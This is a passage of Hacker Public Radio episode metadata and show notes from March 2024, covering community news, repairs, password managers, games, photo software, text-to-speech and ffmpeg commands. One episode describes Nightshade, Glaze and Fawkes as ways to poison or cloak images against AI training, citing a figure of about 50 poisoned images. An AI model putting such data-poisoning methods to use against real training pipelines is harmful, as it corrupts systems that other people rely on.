                                                            \n","hostid":423,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"framework,laptop,review","version":0,"downloads":0,"valid":1}, {"id":4066,"date":"2024-03-04","title":"HPR Community News for February 2024","duration":4150,"summary":"HPR Volunteers talk about shows released and comments posted in February 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n geospart.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4044Thu2024-02-01Advent of code day 11-21 catchupDaniel Persson
                                                            4045Fri2024-02-02My Macbook Pro 15\" 2015swift110
                                                            4046Mon2024-02-05HPR Community News for January 2024HPR Volunteers
                                                            4047Tue2024-02-06Change your passwords once in a whileDeltaray
                                                            4048Wed2024-02-07Today I learnt: Ship’s BellsTrey
                                                            4049Thu2024-02-08What's in my bag January 2024swift110
                                                            4050Fri2024-02-09Playing Alpha Centauri, Part 5Ahuka
                                                            4051Mon2024-02-12MSI Gungnir 110R ReviewKevie
                                                            4052Tue2024-02-13How I got in to Linux / Micro Editiongeospart
                                                            4053Wed2024-02-14Third Party IntegrationsLee
                                                            4054Thu2024-02-15CyberPunk 2077Daniel Persson
                                                            4055Fri2024-02-16Four agalmic AI applications to protect you from greedy corporationshobs
                                                            4056Mon2024-02-19Helping with back painKevie
                                                            4057Tue2024-02-20Raspberry Pi and astro imagingAndrew Conway
                                                            4058Wed2024-02-21Radio ThermometerStache_AF
                                                            4059Thu2024-02-22the southern crossBrian in Ohio
                                                            4060Fri2024-02-23Florida to GeorgiaAhuka
                                                            4061Mon2024-02-26Setup a Pi-holeKevie
                                                            4062Tue2024-02-27HPR Music Series? - How will it go for the girl and me?Fred Black
                                                            4063Wed2024-02-28Re: ChatGPT Output is not compatible with CC-BY-SA dnt
                                                            4064Thu2024-02-29Large Language ModelsDaniel Persson
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 22 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3823\n(2023-03-29) \"Gitlab Pages for website hosting\"\nby norrist.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nelmussol on 2024-02-18:\n\"tremendous\"

                                                              \n
                                                            • hpr3826\n(2023-04-03) \"HPR Community News for March 2023\"\nby HPR Volunteers.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nelmussol on 2024-02-25:\n\"Creative Commons dubstep\"
                                                              • \n
                                                              • \nComment 3:\nelmussol on 2024-02-26:\n\"Forth pun?\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2024-02-27:\n\"Re: Forth pun?\"

                                                              \n
                                                            • hpr3978\n(2023-11-01) \"Driving in Virginia.\"\nby Some Guy On The Internet.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nJason Martin on 2024-02-02:\n\"Driving in Virginia was excellent.\"

                                                              \n
                                                            • hpr4041\n(2024-01-29) \"Using grepcidr to find IPs in a netblock\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2024-02-04:\n\"Great show\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr4045\n(2024-02-02) \"My Macbook Pro 15\" 2015\"\nby swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2024-02-02:\n\"Maybe the best laptop ever\"

                                                              \n
                                                            • hpr4046\n(2024-02-05) \"HPR Community News for January 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2024-02-11:\n\"Newpipe video player\"

                                                              \n
                                                            • hpr4048\n(2024-02-07) \"Today I learnt: Ship’s Bells\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2024-02-08:\n\"encore!\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-02-08:\n\"great show\"

                                                              \n
                                                            • hpr4049\n(2024-02-08) \"What's in my bag January 2024\"\nby swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-02-08:\n\"Great reminder\"

                                                              \n
                                                            • hpr4052\n(2024-02-13) \"How I got in to Linux / Micro Edition\"\nby geospart.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfreeplay on 2024-02-14:\n\"Excellent episode\"

                                                              \n
                                                            • hpr4053\n(2024-02-14) \"Third Party Integrations\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKeith (kdmurray) on 2024-02-24:\n\"Great Overview\"

                                                              \n
                                                            • hpr4055\n(2024-02-16) \"Four agalmic AI applications to protect you from greedy corporations\"\nby hobs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-02-25:\n\"Good overview of AI tools\"

                                                              \n
                                                            • hpr4056\n(2024-02-19) \"Helping with back pain\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nToote on 2024-02-20:\n\"Check with your doctor\"

                                                              \n
                                                            • hpr4057\n(2024-02-20) \"Raspberry Pi and astro imaging\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-02-20:\n\"Amazing images\"

                                                              \n
                                                            • hpr4061\n(2024-02-26) \"Setup a Pi-hole\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-02-27:\n\"Informative how and why setup a Pi-hole\"
                                                              • Comment 2:\nnorrist on 2024-02-27:\n\"Run pi-hole without a pi\"

                                                              \n
                                                            • hpr4062\n(2024-02-27) \"HPR Music Series? - How will it go for the girl and me?\"\nby Fred Black.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-02-27:\n\"Reminds me of violin lessons when I was young\"
                                                              • Comment 2:\nFolky on 2024-02-27:\n\"Good initiative\"
                                                              • Comment 3:\nbrian-in-ohio on 2024-03-01:\n\"Good show\"

                                                              \n
                                                            • hpr4063\n(2024-02-28) \"Re: ChatGPT Output is not compatible with CC-BY-SA \"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2024-03-01:\n\"Amen\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Website enhancements

                                                            \n
                                                              \n
                                                            • Changes have been made in February to the calendar page:\n
                                                                \n
                                                              • Reserved\nshow overview - a list of what is in the reserve queue with date,\nhost and show title.
                                                              • \n
                                                              • Statistics\n- a call interface that returns JSON data containing most of the old\nstatistics plus a few more data points. This information is static but\nis updated every 15 minutes.
                                                              • \n
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4067,"date":"2024-03-05","title":"Hacking AI Models to Protect your Livelihood","duration":1148,"summary":"Listening to a TWIML AI podcast and reading Accelerondo (SciFi novel) I learned of 4 ways to hack AI","notes":"

                                                            I wanted to share with HPR peeps four ways to hack our\nrobot/corporate overlords:

                                                            \n
                                                              \n
                                                            1. Fawkes - named for Guy Fawkes, the face mask of anonymous\nand hackers around the world
                                                            2. \n
                                                            3. Glaze - a digital paint curing process to protect your\nart
                                                            4. \n
                                                            5. Nightshade, a software blue pill you can hide in your\ndigital creations so that any AI consuming your work without your\npermission will also consume your blue pill and be sucked into a world\nof endless hallucinations
                                                            6. \n
                                                            7. Agalmic organizations, the future of AI business, invented\nby Charles Stross in his second most famous SciFi novel\nAccelerando, written in 2005 but set in the years 2025-2040\nduring what he called the singularity and others now call the #pancrisis\nor post-truth era or 21 Lessons of the 21st Century
                                                            8. \n
                                                            \n

                                                            Those first three applications were invented by Ben Zhao a Neubauer\nprofessor at the University of Chicago

                                                            \n

                                                            Here are links to more resources about each one:

                                                            \n
                                                              \n
                                                            1. Fawkes sandlab.cs.uchicago.edu/fawkes/\nto cloak your selfies, can it be made to work on video? github.com/Shawn-Shan/fawkes
                                                            2. \n
                                                            3. Glaze glaze-usenix23.pdf\nto make it difficult to do style transfer on your images. All your art\nwill look like pollucks If someone asked models to imitate your store.\nAnime and graphic novels are hard.
                                                            4. \n
                                                            5. NightShade arxiv.org/pdf/2310.13828.pdf\nonly needs to poison pill 50 of your images so they will destroy the\nfeature space of any AI model that tries to learn your style from them,\nthey cause models trained on them to hallucinate. Fill in the vacuum of\nthe Swiss cheese holes of your feature space (embedding vectors). There\nis someone developing an antidote: github.com/RichardAragon/NightshadeAntidote
                                                            6. \n
                                                            7. Your local used book store is the best place to find copies of\nAccelerando or the Lobsters short story released in several periodicals\nand SciFi compendiums over the years.
                                                            8. \n
                                                            \n","hostid":424,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"AI, malware, stablediffusion, image generation, art, copyright, AI ethics, hacking, steganography","version":0,"downloads":0,"valid":1}, {"id":4068,"date":"2024-03-06","title":"Replacing a lightbulb in a microwave Oven","duration":1248,"summary":"In this episode I record myself replacing a blown lightbulb in a microwave Oven.","notes":"

                                                            Warning:

                                                            \n

                                                            Microwave Ovens contain lethal voltages and components within the\nmicrowave oven can store lethal voltages for many hours after it is\nunplugged. Please only attempt this if you are qualified to do so.

                                                            \n

                                                            Show Notes:

                                                            \n

                                                            As I explained in the episode the bulb within our microwave oven\nfailed after 10 years of use. It is surprising how difficult it is to\ndetermine how well the food is cooked without illumination. I therefore\ndecided to have a go at replacing the internal light bulb.

                                                            \n

                                                            Picture 1 shows the complete microwave
                                                            \nComplete microwave
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            Picture 2 shows the location and fitment of the faulty bulb in our\nmicrowave oven
                                                            \nLocation and fitment of faulty bulb
                                                            \n\n
                                                            Click the thumbnail to see the full-sized\nimage

                                                            \n

                                                            Picture 3 shows the faulty bulb removed
                                                            \nFaulty bulb removed
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            Markings found on the faulty bulb revealed it was rated at 230v 20w\nbulb (I incorrectly stated in my podcast show that it was 30w).

                                                            \n

                                                            Typing 230v 20w into google provided an amazon link for a replacement\nuniversal microwave bulb from Poweka. Two were provided in the packet\nthough this wasn't clear from the description.

                                                            \n

                                                            Replacement\nbulb from amazon

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"repair, electrical, DIY","version":0,"downloads":0,"valid":1}, {"id":4069,"date":"2024-03-07","title":"Passwords and Bitwarden news.","duration":722,"summary":"Sgoti talks about passwords and Bitwarden.","notes":"

                                                            Passwords and Bitwarden\nnews.

                                                            \n

                                                            Sgoti talks about\npasswords and Bitwarden.

                                                            \n
                                                              \n
                                                            • TAGS: Bitwarden, Passwords, News

                                                            • \n
                                                            • Source: Bitwarden\nadds a new auto-fill option right inside form fields

                                                            • \n
                                                            \n
                                                            \n

                                                            Highly requested by the Bitwarden community, the new inline autofill\nmenu greatly enhances the user experience, enabling users to fill login\ncredentials faster than ever. Extensive third-party penetration testing\nwas conducted to identify security gaps prior to release.

                                                            \n
                                                            \n
                                                              \n
                                                            • Source: How\npassword security best practices safeguard against ransomware
                                                            • \n
                                                            \n
                                                            \n

                                                            Passkeys prevent the reuse of passwords across services or platforms\nbecause they are created uniquely to each user and service. Thanks to\nencrypted authentication protocols like WebAuthn, passkeys offer\nprotection against phishing attacks, one of the most common initiation\npoints for breaches and ransomware attacks.

                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Bitwarden, Passwords, News","version":0,"downloads":0,"valid":1}, {"id":4070,"date":"2024-03-08","title":"Civilization III","duration":972,"summary":"We start our look at the next game in the Civilization franchise.","notes":"

                                                            This starts our look at Civilization III, which continued the\nCivilization franchise and followed upon the Alpha Centauri game. This\ngame builds upon the concepts already a part of Civilization, but adds\nsome new features and advancements. Every new version of Civiliation has\npushed new concepts and developed the franchise further, and that is one\nreason why each one has been a best-seller and an award winner.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":" Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4071,"date":"2024-03-11","title":"Migration to digiKam as Digital Asset Management (DAM)","duration":501,"summary":"I describe how I migrated from Adobe Photoshop Elements to digiKam as my photo catalog software. ","notes":"

                                                            I talk about my migration from Adobe Photoshop Elements to digiKam as\nphoto catalog software, or DAM Digital Asset Management as it often is\nreferred to nowadays.

                                                            \n

                                                            My latest was release 14 which I bought 2015, which also was when I\nmigrated from Windows to macOS.

                                                            \n

                                                            Photoshop Elements is without hesitation a good software. One major\ndrawback is that is a proprietary software from which I cannot export\ndata on my conditions.

                                                            \n

                                                            After a few of years on release 14 the geotagging stopped working.\nThe error message told that this was caused by a change by Google. Adobe\nPhotoshop Elements had a fix for this error - but only incorporated in\nthe next release of the software. No fix was planned for my release. So\nto get geotagging working again, I would have to buy a new release.

                                                            \n

                                                            I also got problem that it now and then crashed and needed to be\nrestarted. Something needed to be done.

                                                            \n

                                                            I considered if I should buy a new release of Photoshop Elements or\nchange to any other software. At the same time I also became more\nattracted to Linux. I also became more interested in free and open\nsoftware.

                                                            \n

                                                            A big drawback with changing to something else than Adobe is that I\nmost certainly will loose some of the work I have put into photos in\nPhotoshop Elements.

                                                            \n
                                                              \n
                                                            1. The Photo editing data and raw conversion settings for individual\nphotos will be lost. This is almost impossible to migrate between\nsoftware. What can be done is to save what I have edited as new photos.\nI am fine with this, it will not stop me from changing\nsoftware.

                                                            2. \n
                                                            3. Meta data is very important to me. Meta data contains not only\ninformation about the shooting from the camera itself. But also my tags,\ndescription texts and more I had added in Photoshop Elements. Meta data\nalso includes face tagging. This goes both for digital camera photos as\nwell as digitized analog photos.

                                                            4. \n
                                                            \n
                                                              \n
                                                            • Criteria for my new software:\n
                                                                \n
                                                              1. Preferable free and open source
                                                              2. \n
                                                              3. Available on multiple platforms, in particular available on macOS\nand Linux
                                                              4. \n
                                                              5. That meta data can be migrated including face tagging
                                                              6. \n
                                                            • \n
                                                            \n

                                                            The one that I found to best meet my criteria is digiKam.

                                                            \n

                                                            DigiKam is mostly known for its catalog capabilities. But digiKam\nalso includes import and export functions as well as raw conversion and\nphoto editing.

                                                            \n

                                                            My migration.

                                                            \n

                                                            Photoshop Elements stores the data in a data base. It is possible to\nexport metadata to files and sidecars. But not all data. Face tagging\ncannot be exported. The name of the person can be exported but not the\ncoordinates of the face tag which only is stored in the data base.

                                                            \n

                                                            The data base itself cannot be read by other software, except by\nAdobe software: Adobe Lightroom Classic can import the data from\nPhotoshop Elements data base into its own data base. This was very\nimportant for my migration success. Lightroom can export also the face\ntagging.

                                                            \n

                                                            I discovered an issue with the time- and datestamps. In Photoshop\nElements it is possible to give incomplete date and time, for example\nonly state the year if I do not know all details. Already Lightroom had\nproblem to interpret this information correctly and I had to implement a\nworkaround with tags. In general, several time and date attributes exist\nand it is something to understand what is what and how each of the is\ndefined, displayed and managed in the software.

                                                            \n

                                                            From Lightroom Classic I exported meta data including face tags to\nfiles and sidecars.

                                                            \n

                                                            And migration to digiKam worked good enough. I still have access to\nmy Photoshop Elements database if I want to go back and check\nanything.

                                                            \n

                                                            My next step was to migrate from digiKam on macOS to digiKam on\nLinux. This migration was relatively easy. My current settings in\ndigiKam is to always write data to sidecars, in addition to the digiKam\ndata bases. So I copied photo files and sidecars from macOS to Linux. I\ntook the opportunity to rearrange my folder structure. Then I imported\ninto digiKam and digiKam built new data bases in Linux based on photos\nand sidecars.

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"photography, photo, digiKam, Digital Asset Management, DAM","version":0,"downloads":0,"valid":1}, {"id":4072,"date":"2024-03-12","title":"Piper text to speech engine","duration":388,"summary":"Archer72 talks about Piper TTS using a Piper voice","notes":"

                                                            Using Piper

                                                            \n

                                                            Github

                                                            \n

                                                            Piper

                                                            \n

                                                            Piper\nGithub

                                                            \n

                                                            Thorsten-Voice

                                                            \n

                                                            Thorsten-Voice Github

                                                            \n

                                                            README

                                                            \n

                                                            Piper Github README

                                                            \n

                                                            Videos

                                                            \n

                                                            Create your AI digital voice clone locally with Piper TTS |\nTutorial

                                                            \n

                                                            Create voice clone with\nPiper

                                                            \n

                                                            Thorsten-Voice

                                                            \n

                                                            Thorsten Mueller

                                                            \n

                                                            Voices

                                                            \n

                                                            Voice repo

                                                            \n

                                                            Piper voices

                                                            \n

                                                            Voice sample testing

                                                            \n

                                                            Voice sample testing

                                                            \n

                                                            Clone voices

                                                            \n

                                                            Clone this model repository

                                                            \n

                                                            Make sure you have git-lfs\ninstalled

                                                            \n

                                                            Git\nlfs (Large filesystem)

                                                            \n

                                                            In my case on Fedora 39

                                                            \n
                                                            sudo dnf install git-lfs | teelog
                                                            \n

                                                            Aside

                                                            \n

                                                            I use an alias to create a log file with a date stamp

                                                            \n
                                                            alias teelog='tee -a ~/logfiles/dump_`date +"%Y-%m-%d_%H%M%S"`.log'
                                                            \n
                                                            git lfs install\ngit clone https://huggingface.co/rhasspy/piper-voices\n\n# if you want to clone without large files – just their pointers\n# prepend your git clone with the following env var:\n\nGIT_LFS_SKIP_SMUDGE=1
                                                            \n

                                                            Sample usage

                                                            \n
                                                            echo 'Welcome to the world of speech synthesis!' | ./piper --model en_US-lessac-medium.onnx --output_file welcome.wav
                                                            \n

                                                            Usage from a text file

                                                            \n
                                                            cat sample/hamlet_to_be.txt | piper --model ~/git/piper/etc/test_voice.onnx --output_file hamlet_to-be_piper_sample_voice.wav
                                                            \n","hostid":318,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Piper, TTS, Text to speech, Voice synthesis","version":0,"downloads":0,"valid":1}, {"id":4073,"date":"2024-03-13","title":"Is the 1990 documentary \"Cyberpunk\" worth watching today?","duration":380,"summary":"In which Trixter covers the pros and cons of an old hacker watching old hacker media","notes":"

                                                            In the podcast episode, I mention my HD restoration on archive.org,\nhowever I found an even better restoration on YouTube at https://youtu.be/ZsbMXYigewI for those not allergic to\nthe platform.

                                                            \n","hostid":149,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cyberpunk, documentary, review","version":0,"downloads":0,"valid":1}, {"id":4074,"date":"2024-03-14","title":"Jade Empire","duration":365,"summary":"My experience playing Jade Empire","notes":"

                                                            I love the story-based games and experiences. Jade Empire is based in\nthe past in China or Japan, and you will be following this martial\nartist searching for their kidnapped trainer.

                                                            \n

                                                            Links

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"games, story, experience","version":0,"downloads":0,"valid":1}, {"id":4075,"date":"2024-03-15","title":"Making a Pomodoro Timer","duration":1190,"summary":"norrist uses the pomodoro method to keep from getting fired.","notes":"

                                                            Making a Pomodoro Timer

                                                            \n

                                                            Slacking Off at work

                                                            \n
                                                              \n
                                                            • I get distracted Easy
                                                            • \n
                                                            • My mind drifts if I try to focus on a single task For more than\n20-30 Minutes.
                                                            • \n
                                                            • If I try to fight the urge to just keep working my productivity goes\nway down.
                                                            • \n
                                                            • I end up working for a bit, then slacking off for half an hour.
                                                            • \n
                                                            • I can get more work done If I embrace my limitation and force myself\nto take a break.
                                                            • \n
                                                            \n

                                                            Pomodoro Technique

                                                            \n

                                                            From Wikipedia https://en.wikipedia.org/wiki/Pomodoro_Technique

                                                            \n
                                                            \n

                                                            The Pomodoro Technique is a time management method developed by\nFrancesco Cirillo in the late 1980s. It uses a kitchen timer to break\nwork into intervals, typically 25 minutes in length, separated by short\nbreaks. Each interval is known as a Pomodoro, from the Italian word for\ntomato, after the tomato-shaped kitchen timer Cirillo used as a\nuniversity student.

                                                            \n
                                                            \n

                                                            The Timer

                                                            \n
                                                              \n
                                                            • There are plenty of Pomodoro Apps I've tried using an app, but I\nwould often forget.
                                                            • \n
                                                            • I wanted a physical device that was always on by desk and could grab\nmy attention.
                                                            • \n
                                                            • I looked for a dedicated physical Pomodoro timer, but only found the\nkitchen timers
                                                            • \n
                                                            • I decided to make myself a timer using a Circuit Playground\nExpress
                                                            • \n
                                                            \n

                                                            Circuit Playground Express

                                                            \n
                                                              \n
                                                            • In my past episode about using a Pi pico to type passwords I\nmentioned I owned a playground express.
                                                            • \n
                                                            • The playground express is a micro controller with a lot of built ins\n
                                                                \n
                                                              • 2 buttons
                                                              • \n
                                                              • 10 multi color LED
                                                              • \n
                                                              • ...
                                                              • \n
                                                            • \n
                                                            • Runs circuit python with lots of libraries so it is easy to\nprogram.
                                                            • \n
                                                            \n

                                                            TDD

                                                            \n
                                                              \n
                                                            • About once every other year I decided to start a project with as\nmuch TDD as I can.
                                                            • \n
                                                            • TDD Basics\n
                                                                \n
                                                              • Write a test BEFORE you write the code
                                                              • \n
                                                              • Run the test - It will fail
                                                              • \n
                                                              • Write the simplest code that will pass the test
                                                              • \n
                                                              • Run the test and make sure it passes
                                                              • \n
                                                              • Refactor/improve the code if needed.
                                                              • \n
                                                            • \n
                                                            • TDD advantages\n
                                                                \n
                                                              • Code is easy to separate into discrete functions
                                                              • \n
                                                              • Parts of the code can be rewritten without affecting the rest
                                                              • \n
                                                              • confidence in rewrites
                                                              • \n
                                                            • \n
                                                            \n

                                                            pomodoro.py

                                                            \n
                                                              \n
                                                            • Circuit python looks for and runs a file named\ncode.py
                                                            • \n
                                                            • A lot of the circuit Python code has to be run on the micro\ncontroller
                                                            • \n
                                                            • My Developers workstation does not have the LED's or buttons
                                                            • \n
                                                            • I split the some code into a separate file based on if it could run\nin \"regular\" python.
                                                            • \n
                                                            • I used TDD as much as possible to test the functions in\npomodoro.py
                                                            • \n
                                                            \n

                                                            code.py

                                                            \n
                                                            BREAK_MINUTES = 5\nWORK_MINUTES = 25
                                                            \n
                                                              \n
                                                            • Functions that require hardware
                                                            • \n
                                                            • No tests.
                                                            • \n
                                                            • counts down and changes color of led
                                                            • \n
                                                            • minutes divided by number of LED
                                                            • \n
                                                            \n

                                                            Using the timer

                                                            \n
                                                              \n
                                                            • Ready\n
                                                                \n
                                                              • Green Light next to button to start work Period
                                                              • \n
                                                              • Blue Light next to button to start break Period
                                                              • \n
                                                            • \n
                                                            • Working\n
                                                                \n
                                                              • White Background
                                                              • \n
                                                              • Green progress pixels
                                                              • \n
                                                            • \n
                                                            • Break\n
                                                                \n
                                                              • White Background
                                                              • \n
                                                              • Blue progress pixels
                                                              • \n
                                                            • \n
                                                            • Button A\n
                                                                \n
                                                              • Start working
                                                              • \n
                                                            • \n
                                                            • Button B\n
                                                                \n
                                                              • Start Break
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"circuit python, productivity","version":0,"downloads":0,"valid":1}, {"id":4076,"date":"2024-03-18","title":"WLED House Lights!","duration":2097,"summary":"I talk about setting up year around house lights !!","notes":"
                                                              \n
                                                            • Video:
                                                              \nhttps://rmccurdy.com/.scripts/PROJECT365/PROJECT365%20PROJECT%20365%20WLED.mp4

                                                            • \n
                                                            • PROJECT365 PROJECT 365 WLED
                                                              \nhttps://rmccurdy.com/.scripts/PROJECT365/
                                                              \nhttps://docs.google.com/document/d/1YLvVe2cgYSOTAWW47eK1Yp_K96ysCAQQDUmvkoqPbow/edit?usp=sharing

                                                            • \n
                                                            • Project365
                                                              \nhttps://rmccurdy.com/.scripts/PROJECT365/
                                                              \nhttps://docs.google.com/spreadsheets/d/1y1NmHzS1OoQ3XDt48HXQC7AKnFjQGsQ9O8UTJvUXPgk/edit?usp=sharing

                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"home,house,arduino,lights,xmas,christmas lights","version":0,"downloads":0,"valid":1}, {"id":4077,"date":"2024-03-19","title":"FFMPEG Series: Joining and Splitting files","duration":562,"summary":"In this episode, I explain how to use FFMGEG to join and split media files","notes":"

                                                            FFMPEG Series\nPart 2: Joining and Splitting files

                                                            \n

                                                            Joining Files

                                                            \n

                                                            Link: https://trac.ffmpeg.org/wiki/Concatenate

                                                            \n

                                                            For lossless files of the\nsame codecs

                                                            \n
                                                            ffmpeg -i "concat:input1.ts|input2.ts|input3.ts" -c copy output.ts
                                                            \n

                                                            For mp4 files, using\nintermediate files

                                                            \n
                                                            ffmpeg -i input1.mp4 -c copy intermediate1.ts\nffmpeg -i input2.mp4 -c copy intermediate2.ts\nffmpeg -i "concat:intermediate1.ts|intermediate2.ts" -c copy output.ts
                                                            \n

                                                            Brief explanation of the options used in the command:

                                                            \n
                                                              \n
                                                            • -i: input
                                                            • \n
                                                            • -c copy: use codec same codecs as input
                                                            • \n
                                                            \n

                                                            Splitting Files

                                                            \n

                                                            Splitting by Duration:

                                                            \n
                                                            ffmpeg -i input.mp4 -t 00:05:00 output_part1.mp4\nffmpeg -i input.mp4 -t 00:05:00 -ss 00:05:00 output_part2.mp4
                                                            \n

                                                            Brief explanation of the options used in the command:

                                                            \n
                                                              \n
                                                            • -i: Input file
                                                            • \n
                                                            • -t: Duration of the output file
                                                            • \n
                                                            • -ss: Start position of the output file (optional)
                                                            • \n
                                                            \n

                                                            Splitting by Chapters or\nMarkers:

                                                            \n

                                                            Use additional scripting to get out chapter marker times, then use\nabove

                                                            \n

                                                            C. Splitting by Size:

                                                            \n
                                                            ffmpeg -i input.mp4 -map 0 -c copy -segment_size 50M -segment_times 1 output_%03d.mp4
                                                            \n

                                                            Brief explanation of the options used in the command:

                                                            \n
                                                              \n
                                                            • -map 0: Select the first stream (video and audio)
                                                            • \n
                                                            • -c copy: Copy the stream without re-encoding\n(faster)
                                                            • \n
                                                            • -segment_size: Size of each output file segment
                                                            • \n
                                                            • -segment_times: Number of segments to create
                                                            • \n
                                                            • output_%03d.mp4: printf-style pattern for the output\nfiles
                                                            • \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"recording,ffmpeg,audio,video","version":0,"downloads":0,"valid":1}, {"id":4078,"date":"2024-03-20","title":"Learning to read music, part two: pitch","duration":824,"summary":"The basics of pitch in musical notation","notes":"

                                                            You can download the accompanying visual handout/crib sheet for this episode and its predecessor (where we cover rhythm) from here:\nhttps://enistello.info\n

                                                            \n","hostid":415,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music,learning","version":0,"downloads":0,"valid":1}, {"id":4079,"date":"2024-03-21","title":"The Corresponding Source","duration":1070,"summary":"Free as in Freedom is dead. Long live The Corresponding Source","notes":"

                                                            The Corresponding Source

                                                            \n\n

                                                            The Corresponding Source (formerly Free as in Freedom) is a bi-weekly oggcast, hosted and presented by\nBradley M. Kuhn and Karen Sandler.\nThe discussion includes legal, policy, and many other issues in the Free, Libre,\nand Open Source Software (FLOSS) world. Occasionally, guests join\nBradley and Karen to discuss various topics regarding FLOSS.

                                                            \n\n

                                                            The Corresponding Source is produced by Dan Lynch\n of danlynch.org.\nTheme\n music written and performed\n by Mike Tarantino\n with Charlie Paxson on drums.

                                                            \n\n

                                                            Please email feedback and comments on the show\nto <cast@sfconservancy.org>. You\ncan keep in touch on SFC\n XMPP room at general@chat.sfconservancy.org. You\ncan also\nfollow SFC on\nthe Fediverse.

                                                            \n\n\n

                                                            Follow the RSS and Other Feeds

                                                            \n\n

                                                            Link to the podcast webcast https://sfconservancy.org/casts/the-corresponding-source/

                                                            \n\n

                                                            There is RSS for both ogg format\n and mp3 format.

                                                            \n\n

                                                            \nThanks to Dan Lynch for posting the tip.\n

                                                            \n\n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Free, Libre, Open Source Software, FLOSS, Podcast, Free as in Freedom","version":0,"downloads":0,"valid":1}, {"id":4080,"date":"2024-03-22","title":"Georgia to South Carolina","duration":560,"summary":"We visit the beautiful city of Savannah, Georgia, and then move on to Charleston, South Carolina.","notes":"

                                                            Savannah, Georgia is one of the most beautiful cities in the United\nStates, with a great history. It is one of the older cities in the south\nthat actually escaped destruction in the Civil War because the mayor\nsurrendered the city to General Sherman. After visiting this city, we\nmoved just a bit further north to Charleston, South Carolina, where the\nCivil War began with the assault on Fort Sumter.

                                                            \n

                                                            Links:

